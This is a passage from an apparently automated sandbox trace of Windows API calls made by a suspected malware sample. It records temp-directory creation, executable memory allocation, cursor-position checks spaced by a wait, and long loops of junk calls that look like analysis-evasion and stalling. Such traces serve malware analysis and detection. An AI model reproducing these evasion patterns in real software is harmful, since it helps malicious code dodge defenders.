HALPmcxz\\Desktop\\ContinuumLoosely\\20191224.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely\\20191224.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18f514, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0030.001] GetFileType (hFile=0x288) returned 0x1 [0030.001] SetFilePointer (in: hFile=0x288, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0030.001] GetLastError () returned 0x83 [0030.001] GetLastError () returned 0x83 [0030.004] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x26 [0030.004] GetTempPathA (in: nBufferLength=0x27, lpBuffer=0x7def90 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0030.004] LoadLibraryA (lpLibFileName="kernel32") returned 0x76c20000 [0030.004] GetTempFileNameA (in: lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpPrefixString="", uUnique=0x0, lpTempFileName=0x18f994 | out: lpTempFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\80C3.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\80c3.tmp")) returned 0x80c3 [0030.006] DeleteFileA (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\80C3.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\80c3.tmp")) returned 1 [0030.006] CreateDirectoryA (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\80C3.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\80c3.tmp"), lpSecurityAttributes=0x0) returned 1 [0030.007] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0030.007] VirtualAlloc (lpAddress=0x0, dwSize=0x32000, flAllocationType=0x3000, flProtect=0x40) returned 0x2d40000 [0030.008] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="alerts") returned 0x288 [0030.008] GetCursorPos (in: lpPoint=0x18f5bc | out: lpPoint=0x18f5bc*(x=789, y=459)) returned 1 [0030.008] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021728 [0030.008] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021740 [0030.008] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021448 [0030.008] GetCursorPos (in: lpPoint=0x18f6f0 | out: lpPoint=0x18f6f0*(x=789, y=459)) returned 1 [0030.008] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021460 [0030.008] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021740 | out: hHeap=0x2020000) returned 1 [0030.008] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021448 | out: hHeap=0x2020000) returned 1 [0030.008] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021460 | out: hHeap=0x2020000) returned 1 [0030.008] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0xbb7) returned 0x102 [0033.016] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021728 | out: hHeap=0x2020000) returned 1 [0033.016] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021728 [0033.016] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021740 [0033.016] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021448 [0033.016] GetCursorPos (in: lpPoint=0x18f6f0 | out: lpPoint=0x18f6f0*(x=927, y=861)) returned 1 [0033.016] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021460 [0033.016] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021740 | out: hHeap=0x2020000) returned 1 [0033.016] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021448 | out: hHeap=0x2020000) returned 1 [0033.016] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021460 | out: hHeap=0x2020000) returned 1 [0033.016] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021728 | out: hHeap=0x2020000) returned 1 [0033.016] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x18f528) returned 0 [0033.018] OleInitialize (pvReserved=0x0) returned 0x0 [0033.019] StgCreateDocfile (in: pwcsName=0x0, grfMode=0x11012, reserved=0x0, ppstgOpen=0x18f468 | out: ppstgOpen=0x18f468*=0x2d80898) returned 0x0 [0033.205] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.205] timeGetTime () returned 0x1143533 [0033.205] Sleep (dwMilliseconds=0x0) [0033.206] GetProcessHeap () returned 0x790000 [0033.206] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.206] GetProcessHeap () returned 0x790000 [0033.206] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.206] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.207] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.207] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.207] timeGetTime () returned 0x1143533 [0033.207] Sleep (dwMilliseconds=0x0) [0033.207] GetProcessHeap () returned 0x790000 [0033.207] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.207] GetProcessHeap () returned 0x790000 [0033.207] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.207] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.207] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.207] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.207] timeGetTime () returned 0x1143533 [0033.207] Sleep (dwMilliseconds=0x0) [0033.207] GetProcessHeap () returned 0x790000 [0033.207] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.207] GetProcessHeap () returned 0x790000 [0033.207] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.207] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.207] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.207] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.207] timeGetTime () returned 0x1143533 [0033.207] Sleep (dwMilliseconds=0x0) [0033.208] GetProcessHeap () returned 0x790000 [0033.208] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.208] GetProcessHeap () returned 0x790000 [0033.208] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.208] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.208] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.208] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.208] timeGetTime () returned 0x1143533 [0033.208] Sleep (dwMilliseconds=0x0) [0033.208] GetProcessHeap () returned 0x790000 [0033.208] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.208] GetProcessHeap () returned 0x790000 [0033.208] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.208] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.208] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.208] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.208] timeGetTime () returned 0x1143533 [0033.208] Sleep (dwMilliseconds=0x0) [0033.208] GetProcessHeap () returned 0x790000 [0033.208] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.208] GetProcessHeap () returned 0x790000 [0033.208] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.208] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.208] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.208] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.208] timeGetTime () returned 0x1143533 [0033.208] Sleep (dwMilliseconds=0x0) [0033.208] GetProcessHeap () returned 0x790000 [0033.208] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.208] GetProcessHeap () returned 0x790000 [0033.208] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.208] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.208] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.208] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.208] timeGetTime () returned 0x1143533 [0033.208] Sleep (dwMilliseconds=0x0) [0033.209] GetProcessHeap () returned 0x790000 [0033.209] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.209] GetProcessHeap () returned 0x790000 [0033.209] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.209] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.209] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.209] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.209] timeGetTime () returned 0x1143533 [0033.209] Sleep (dwMilliseconds=0x0) [0033.209] GetProcessHeap () returned 0x790000 [0033.209] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.209] GetProcessHeap () returned 0x790000 [0033.209] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.209] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.209] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.209] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.209] timeGetTime () returned 0x1143533 [0033.209] Sleep (dwMilliseconds=0x0) [0033.209] GetProcessHeap () returned 0x790000 [0033.209] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.209] GetProcessHeap () returned 0x790000 [0033.209] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.209] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.209] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.209] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.209] timeGetTime () returned 0x1143533 [0033.209] Sleep (dwMilliseconds=0x0) [0033.209] GetProcessHeap () returned 0x790000 [0033.209] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.209] GetProcessHeap () returned 0x790000 [0033.209] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.209] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.209] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.209] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.209] timeGetTime () returned 0x1143533 [0033.209] Sleep (dwMilliseconds=0x0) [0033.210] GetProcessHeap () returned 0x790000 [0033.210] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.210] GetProcessHeap () returned 0x790000 [0033.210] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.210] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.210] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.210] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.210] timeGetTime () returned 0x1143533 [0033.210] Sleep (dwMilliseconds=0x0) [0033.210] GetProcessHeap () returned 0x790000 [0033.210] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.210] GetProcessHeap () returned 0x790000 [0033.210] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.210] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.210] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.210] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.210] timeGetTime () returned 0x1143533 [0033.210] Sleep (dwMilliseconds=0x0) [0033.210] GetProcessHeap () returned 0x790000 [0033.210] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.210] GetProcessHeap () returned 0x790000 [0033.210] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.210] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.210] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.210] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.210] timeGetTime () returned 0x1143533 [0033.210] Sleep (dwMilliseconds=0x0) [0033.210] GetProcessHeap () returned 0x790000 [0033.210] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.210] GetProcessHeap () returned 0x790000 [0033.210] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.210] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.210] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.210] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.210] timeGetTime () returned 0x1143533 [0033.210] Sleep (dwMilliseconds=0x0) [0033.211] GetProcessHeap () returned 0x790000 [0033.211] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.211] GetProcessHeap () returned 0x790000 [0033.211] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.211] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.211] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.211] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.211] timeGetTime () returned 0x1143533 [0033.211] Sleep (dwMilliseconds=0x0) [0033.211] GetProcessHeap () returned 0x790000 [0033.211] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.211] GetProcessHeap () returned 0x790000 [0033.211] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.211] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.211] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.211] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.211] timeGetTime () returned 0x1143533 [0033.211] Sleep (dwMilliseconds=0x0) [0033.211] GetProcessHeap () returned 0x790000 [0033.211] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.211] GetProcessHeap () returned 0x790000 [0033.211] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.211] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.211] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.211] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.211] timeGetTime () returned 0x1143533 [0033.211] Sleep (dwMilliseconds=0x0) [0033.211] GetProcessHeap () returned 0x790000 [0033.211] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.211] GetProcessHeap () returned 0x790000 [0033.211] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.211] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.211] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.211] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.211] timeGetTime () returned 0x1143533 [0033.211] Sleep (dwMilliseconds=0x0) [0033.212] GetProcessHeap () returned 0x790000 [0033.212] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.212] GetProcessHeap () returned 0x790000 [0033.212] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.212] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.212] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.212] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.212] timeGetTime () returned 0x1143533 [0033.212] Sleep (dwMilliseconds=0x0) [0033.212] GetProcessHeap () returned 0x790000 [0033.212] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.212] GetProcessHeap () returned 0x790000 [0033.212] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.212] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.212] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.212] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.212] timeGetTime () returned 0x1143533 [0033.212] Sleep (dwMilliseconds=0x0) [0033.212] GetProcessHeap () returned 0x790000 [0033.212] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.212] GetProcessHeap () returned 0x790000 [0033.212] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.212] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.212] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.212] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.212] timeGetTime () returned 0x1143533 [0033.212] Sleep (dwMilliseconds=0x0) [0033.212] GetProcessHeap () returned 0x790000 [0033.212] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.212] GetProcessHeap () returned 0x790000 [0033.212] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.212] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.212] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.212] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.212] timeGetTime () returned 0x1143533 [0033.212] Sleep (dwMilliseconds=0x0) [0033.213] GetProcessHeap () returned 0x790000 [0033.213] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.213] GetProcessHeap () returned 0x790000 [0033.213] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.213] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.213] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.213] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.213] timeGetTime () returned 0x1143533 [0033.213] Sleep (dwMilliseconds=0x0) [0033.213] GetProcessHeap () returned 0x790000 [0033.213] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.213] GetProcessHeap () returned 0x790000 [0033.213] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.213] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.213] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.213] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.213] timeGetTime () returned 0x1143533 [0033.213] Sleep (dwMilliseconds=0x0) [0033.213] GetProcessHeap () returned 0x790000 [0033.213] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.213] GetProcessHeap () returned 0x790000 [0033.213] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.213] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.213] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.213] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.213] timeGetTime () returned 0x1143533 [0033.213] Sleep (dwMilliseconds=0x0) [0033.213] GetProcessHeap () returned 0x790000 [0033.213] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.213] GetProcessHeap () returned 0x790000 [0033.213] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.213] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.213] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.213] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.213] timeGetTime () returned 0x1143533 [0033.213] Sleep (dwMilliseconds=0x0) [0033.213] GetProcessHeap () returned 0x790000 [0033.214] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.214] GetProcessHeap () returned 0x790000 [0033.214] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.214] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.214] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.214] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.214] timeGetTime () returned 0x1143533 [0033.214] Sleep (dwMilliseconds=0x0) [0033.214] GetProcessHeap () returned 0x790000 [0033.214] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.214] GetProcessHeap () returned 0x790000 [0033.214] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.214] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.214] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.214] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.214] timeGetTime () returned 0x1143533 [0033.214] Sleep (dwMilliseconds=0x0) [0033.214] GetProcessHeap () returned 0x790000 [0033.214] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.214] GetProcessHeap () returned 0x790000 [0033.214] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.214] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.214] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.214] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.214] timeGetTime 